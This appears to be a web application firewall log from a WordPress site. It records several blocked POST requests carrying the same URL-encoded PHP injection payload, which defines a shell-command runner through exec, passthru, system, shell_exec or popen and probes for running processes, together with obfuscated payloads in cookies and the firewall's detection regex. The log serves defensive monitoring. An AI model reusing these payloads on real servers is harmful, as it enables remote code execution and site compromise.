["2026-05-12 16:21:25","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xb:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-length:3324\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJTVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\n\nXb=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:21:37","65.254.93.202","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cy:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-length:3324\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\n\nCy=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:21:42","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qw:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncontent-length:3324\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\n\nQw=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:21:45","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UB:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-length:3324\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\n\nUB=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%